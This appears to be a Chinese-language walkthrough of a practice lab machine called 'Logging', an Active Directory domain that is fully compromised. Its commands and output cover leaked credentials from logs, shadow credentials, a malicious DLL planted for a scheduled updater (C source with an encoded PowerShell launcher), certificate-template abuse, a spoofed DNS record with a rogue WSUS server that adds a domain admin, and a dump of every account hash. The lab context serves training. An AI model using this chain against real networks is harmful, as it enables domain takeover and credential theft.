基本信息

1
As is common in real life pentests, you will start the Logging box with credentials for the following account wallace.everette / Welcome2026@

端口扫描

常规windows域端口：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
$ nmap -sC -sV -Pn 10.129.10.39
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-21 21:18 +0900
Nmap scan report for 10.129.10.39
Host is up (0.080s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-21 19:19:06Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-21T19:19:59+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-21T19:19:58+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-21T19:19:59+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-21T19:19:58+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-04-21T19:19:48
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.01 seconds

SMB

给的帐号可以访问SMB，Logs里一些log,其中一个log中得到另一个账号密码：

1
2
3
4
$ smbclient.py wallace.everette:'Welcome2026@'@10.129.10.39

$ cat IdentitySync_Trace_20260219.log | grep -i pass
[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False", BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }

bloodhound

添加hosts后收集bloodhound之类信息：

1
2
3
10.129.10.39 logging.htb DC01.logging.htb DC01

bloodhound-python -u wallace.everette -p 'Welcome2026@' -c All -d logging.htb -ns 10.129.10.39 --zip

可以看到前面log里看到的svc_recovery用户到MSA_HEALTH$账号的GenericWrite：

svc_recovery to MSA_HEALTH$

所以直接shadow creds即可，注意svc_recovery的密码，log里是2025，改成现在对应的2026，以及需要kerberos认证,一步步操作得到msa_health$ hash：

1
2
3
4
5
6
7
8
9
10
# ntp
sudo sntp -sS 10.129.10.39

getTGT.py logging.htb/svc_recovery:'Em3rg3ncyPa$$2026'

export KRB5CCNAME=svc_recovery.ccache

bloodyAD -k -d logging.htb --host dc01.logging.htb add shadowCredentials 'msa_health$'

NT: 603fc24ee01a9409f83c9d1d701485c5

msa_health$ to jaylee.clifton

msa_health$可以winrm登录：

1
$ evil-winrm-py -i 10.129.10.39 -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'

UpdateMonitor

msa_health$ Documents目录有个monitor.ps1，查看内容可以知道是UpdateChecker相关的：

这个Task对应到UpdateMonitor.exe,这里也可以知道是以jaylee.clifton身份每3分钟运行一次：

1
2
3
4
5
6
7
Get-Content "C:\Windows\System32\Tasks\UpdateChecker Agent"

...
<UserId>LOGGING\jaylee.clifton</UserId>
...
<Command>"C:\Program Files\UpdateMonitor\UpdateMonitor.exe"</Command>
...

然后手动测试运行可以看到会尝试去加载Settings_Update.zip和settings_update.dll：

这里把exe下载到本地反编译，也可以知道是从zip里解压出dll文件加载的，所以就是自己准备个恶意dll，压缩成zip传到指定目录，等待触发：

1
evil-winrm-py PS C:\Program Files\UpdateMonitor> download UpdateMonitor.exe .

settings_update.dll

所以直接制作个恶意dll打包上传即可：

1
2
3
4
5
i686-w64-mingw32-gcc -shared -m32 -o settings_update.dll settings_update.c -Wl,--subsystem,windows

zip Settings_Update.zip settings_update.dll

evil-winrm-py PS C:\ProgramData\UpdateMonitor> upload Settings_Update.zip .

然后等待触发，得到jaylee.clifton：

settings_update.c

1
2
3
4
5
6
7
8
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        system("powershell -e SQBFA...");
    }
    return TRUE;
}

user flag

jaylee.clifton用户桌面：

然后直接导出jaylee.clifton票据后请求证书获取hash方便后续操作：

1
2
3
4
5
6
7
8
9
10
11
.\Rubeus.exe tgtdeleg /nowrap

ticketConverter.py 转换格式

export KRB5CCNAME=jaylee.clifton.ccache

certipy req -target dc01.logging.htb -dc-host dc01.logging.htb -k -no-pass -ca logging-DC01-CA

certipy auth -dc-ip 10.129.10.39 -pfx jaylee.clifton.pfx

[*] Got hash for 'jaylee.clifton@logging.htb': aad3b435b51404eeaad3b435b51404ee:1abff5519c569c11dc713706b4a15ae0

提权信息

jaylee.clifton用户Document有个工单，查看内容发现是WSUS相关：

大概意思就是因为一些问题，这台机器会从wsus.logging.htb获取更新，但dns还没更新，已经设置了ForceSync，每两分钟执行一次

当前jaylee.clifton是IT成员，有权限添加dns，所以应该就是通过添加wsus的dns来下发恶意更新

ADCS里也可以看到有UpdateSrv服务器证书模板：

1
2
3
4
certipy find -k -no-pass -stdout -dc-host dc01.logging.htb

CA Name                             : logging-DC01-CA
Template Name                       : UpdateSrv

结合以上信息，就是ADCS获取服务器证书，然后构建恶意wsus服务器：

ESC17 + WSUS

这部分开始换到kali里操作了，因为要用wsuks：

(pywsus要自己改代码支持https)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
export KRB5CCNAME=jaylee.clifton.ccache

# 添加dns
# 注意只需要wsus
bloodyAD --host dc01.logging.htb -d logging.htb -u jaylee.clifton  -k add dnsRecord wsus 10.10.14.75
# 验证
bloodyAD --host dc01.logging.htb -d logging.htb -u jaylee.clifton  -k get dnsDump

# 获取UpdateSrv证书
certipy req -u 'jaylee.clifton@logging.htb' -k -dc-ip 10.129.183.236  -ca 'logging-DC01-CA' -template 'UpdateSrv' -upn 'wsus.logging.htb' -dns 'wsus.logging.htb' -target dc01.logging.htb

# 转换格式
openssl pkcs12 -in wsus.logging.htb_wsus.pfx -out wsus.pem -nodes --passin pass:

# wsus攻击
sudo wsuks --serve-only --WSUS-Server wsus.logging.htb --tls-cert wsus.pem --WSUS-Port 8531 -I tun0 -c '/accepteula /s cmd.exe /c "net user miao Passw0rd123! /add /domain &  net group "Domain Admins" miao /add /domain"'

等待触发执行：

执行成功：

Dump:

1
2
3
impacket-secretsdump miao:'Passw0rd123!'@dc01.logging.htb -just-dc-user Administrator

Administrator:500:aad3b435b51404eeaad3b435b51404ee:a0c1d1bed9126632f5f1f2b3f790bdb5:::

root flag

在另一个域管toby.brynleigh桌面

1
2
3
4
5
impacket-getTGT logging.htb/Administrator -hashes :a0c1d1bed9126632f5f1f2b3f790bdb5

export KRB5CCNAME=Administrator.ccache

impacket-psexec -k -no-pass Administrator@dc01.logging.htb

hashdump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
impacket-secretsdump miao:'Passw0rd123!'@dc01.logging.htb -just-dc-ntlm

Administrator:500:aad3b435b51404eeaad3b435b51404ee:a0c1d1bed9126632f5f1f2b3f790bdb5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:66ff41c8e28783a47fd7617f1f0125f0:::
logging.htb\svc_recovery:2104:aad3b435b51404eeaad3b435b51404ee:fbeb47c9c100020d3b9ebaf1ce839fb3:::
logging.htb\jaylee.clifton:2105:aad3b435b51404eeaad3b435b51404ee:1abff5519c569c11dc713706b4a15ae0:::
logging.htb\monique.chip:2106:aad3b435b51404eeaad3b435b51404ee:5595521651b7510b86438f7452606abf:::
logging.htb\kyson.abel:2107:aad3b435b51404eeaad3b435b51404ee:a50981f25606aeaa0d442f0fcbbce699:::
logging.htb\fable.milford:2108:aad3b435b51404eeaad3b435b51404ee:26a4b1da75600cdd7a3d77789d40a889:::
logging.htb\wellington.kylan:2109:aad3b435b51404eeaad3b435b51404ee:20a6efc7a20a14021a717fa06cd250f8:::
logging.htb\serina.philander:2110:aad3b435b51404eeaad3b435b51404ee:42961be97eb21e2fa7664b115e2ac3af:::
logging.htb\wallace.everette:2111:aad3b435b51404eeaad3b435b51404ee:40e28a964e1a6a6512d0ebc70f1ca811:::
logging.htb\toby.brynleigh:2112:aad3b435b51404eeaad3b435b51404ee:ac384497550a56937cd6edd784fb221c:::
miao:7101:aad3b435b51404eeaad3b435b51404ee:ab4f5a5c42df5a0ee337d12ce77332f5:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:b4d05e08453f856b0ff4af1125157a84:::
msa_health$:2113:aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5:::

参考资料